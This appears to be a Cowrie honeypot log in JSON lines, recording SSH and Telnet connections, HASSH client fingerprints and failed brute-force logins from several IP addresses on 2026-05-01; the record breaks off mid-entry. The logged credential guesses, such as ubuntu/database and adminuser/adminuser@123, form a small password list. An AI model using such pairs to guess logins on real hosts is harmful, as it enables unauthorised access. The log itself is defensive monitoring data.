{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:56.994939Z","src_ip":"72.79.42.117","session":"7a002b3d4edd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"database","message":"login attempt [ubuntu/database] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:57.056656Z","src_ip":"72.79.42.117","session":"7a002b3d4edd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:58.067995Z","src_ip":"72.79.42.117","session":"7a002b3d4edd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":51868,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cf74b86136c","protocol":"telnet","message":"New connection: 146.185.21.169:51868 (10.17.0.5:23) [session: 8cf74b86136c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:50:59.698596Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":53848,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa27821548f1","protocol":"telnet","message":"New connection: 146.185.21.169:53848 (10.17.0.5:23) [session: fa27821548f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:02.045694Z"}
{"eventid":"cowrie.session.closed","duration":120.00173854827881,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:02.143640Z","src_ip":"185.225.40.236","session":"84f5e01b6cfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115485429763794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:03.244472Z","src_ip":"62.72.47.216","session":"b2450dd8d180","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":52462,"dst_ip":"10.17.0.5","dst_port":23,"session":"84cbef0a8dce","protocol":"telnet","message":"New connection: 146.185.21.169:52462 (10.17.0.5:23) [session: 84cbef0a8dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:07.902681Z"}
{"eventid":"cowrie.session.closed","duration":31.045501470565796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:30.743954Z","src_ip":"146.185.21.169","session":"8cf74b86136c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":42032,"dst_ip":"10.17.0.5","dst_port":23,"session":"da6b348f9c58","protocol":"telnet","message":"New connection: 146.185.21.169:42032 (10.17.0.5:23) [session: da6b348f9c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:32.515838Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.185.21.169","src_port":41486,"dst_ip":"10.17.0.5","dst_port":23,"session":"d65714d6fc91","protocol":"telnet","message":"New connection: 146.185.21.169:41486 (10.17.0.5:23) [session: d65714d6fc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:33.237265Z"}
{"eventid":"cowrie.session.closed","duration":34.67491865158081,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:36.720503Z","src_ip":"146.185.21.169","session":"fa27821548f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.170613288879395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:38.073164Z","src_ip":"146.185.21.169","session":"84cbef0a8dce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":35204,"dst_ip":"159.203.135.109","dst_port":22,"session":"790d14a72619","protocol":"ssh","message":"New connection: 72.79.42.117:35204 (159.203.135.109:22) [session: 790d14a72619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:41.033633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:41.039112Z","src_ip":"72.79.42.117","session":"790d14a72619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:41.046693Z","src_ip":"72.79.42.117","session":"790d14a72619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongouser","password":"mongouser123","message":"login attempt [mongouser/mongouser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:41.111962Z","src_ip":"72.79.42.117","session":"790d14a72619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:42.129301Z","src_ip":"72.79.42.117","session":"790d14a72619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.47.216","src_port":55294,"dst_ip":"10.17.0.5","dst_port":23,"session":"23278c9294b7","protocol":"telnet","message":"New connection: 62.72.47.216:55294 (10.17.0.5:23) [session: 23278c9294b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:42.137382Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":59838,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e52a8259113","protocol":"telnet","message":"New connection: 103.115.172.252:59838 (10.17.0.5:23) [session: 1e52a8259113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:43.912941Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":57720,"dst_ip":"159.203.135.109","dst_port":22,"session":"308cfbb680a4","protocol":"ssh","message":"New connection: 115.190.179.68:57720 (159.203.135.109:22) [session: 308cfbb680a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:49.120576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:49.125432Z","src_ip":"115.190.179.68","session":"308cfbb680a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:49.345329Z","src_ip":"115.190.179.68","session":"308cfbb680a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"12345678","message":"login attempt [guest/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:55.048047Z","src_ip":"115.190.179.68","session":"308cfbb680a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:51:56.543783Z","src_ip":"115.190.179.68","session":"308cfbb680a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77998638153076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:03.295719Z","src_ip":"146.185.21.169","session":"da6b348f9c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88660454750061,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:04.123767Z","src_ip":"146.185.21.169","session":"d65714d6fc91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91423940658569,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:18.827268Z","src_ip":"103.115.172.252","session":"1e52a8259113","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":60690,"dst_ip":"159.203.135.109","dst_port":22,"session":"55097c974456","protocol":"ssh","message":"New connection: 72.79.42.117:60690 (159.203.135.109:22) [session: 55097c974456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:30.349764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:30.354768Z","src_ip":"72.79.42.117","session":"55097c974456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:30.363305Z","src_ip":"72.79.42.117","session":"55097c974456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser@123","message":"login attempt [adminuser/adminuser@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:30.439898Z","src_ip":"72.79.42.117","session":"55097c974456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:31.450472Z","src_ip":"72.79.42.117","session":"55097c974456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00126075744629,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:44.931943Z","src_ip":"186.22.54.32","session":"f8d610b01934","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015058517456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:45.657677Z","src_ip":"186.22.54.32","session":"db111fac2198","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00109696388245,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:45.677685Z","src_ip":"186.22.54.32","session":"3b62155b6ce5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.22.54.32","src_port":60138,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2d65cbf3c78","protocol":"telnet","message":"New connection: 186.22.54.32:60138 (10.17.0.5:23) [session: b2d65cbf3c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:46.665953Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.22.54.32","src_port":60912,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc626e9203f","protocol":"telnet","message":"New connection: 186.22.54.32:60912 (10.17.0.5:23) [session: 0fc626e9203f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:52:53.480775Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":57998,"dst_ip":"159.203.135.109","dst_port":22,"session":"def614288c7c","protocol":"ssh","message":"New connection: 115.190.179.68:57998 (159.203.135.109:22) [session: def614288c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:03.490341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:03.498789Z","src_ip":"115.190.179.68","session":"def614288c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":81.73068237304688,"message":"Connection lost after 81 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:03.867968Z","src_ip":"62.72.47.216","session":"23278c9294b7","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:05.063301Z","src_ip":"115.190.179.68","session":"def614288c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":33478,"dst_ip":"10.17.0.5","dst_port":23,"session":"38c83a2475da","protocol":"telnet","message":"New connection: 103.115.172.252:33478 (10.17.0.5:23) [session: 38c83a2475da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:09.125882Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:11.513936Z","src_ip":"115.190.179.68","session":"def614288c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":38718,"dst_ip":"159.203.135.109","dst_port":22,"session":"56c972bfa692","protocol":"ssh","message":"New connection: 72.79.42.117:38718 (159.203.135.109:22) [session: 56c972bfa692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:16.099939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:16.106778Z","src_ip":"72.79.42.117","session":"56c972bfa692","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:16.116752Z","src_ip":"72.79.42.117","session":"56c972bfa692","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"2024","message":"login attempt [ubuntu/2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:16.188870Z","src_ip":"72.79.42.117","session":"56c972bfa692","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:17.198779Z","src_ip":"72.79.42.117","session":"56c972bfa692","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":50052,"dst_ip":"159.203.135.109","dst_port":22,"session":"911274d122ba","protocol":"ssh","message":"New connection: 115.190.179.68:50052 (159.203.135.109:22) [session: 911274d122ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:39.644302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:53:39.649080Z","src_ip":"115.190.179.68","session":"911274d122ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"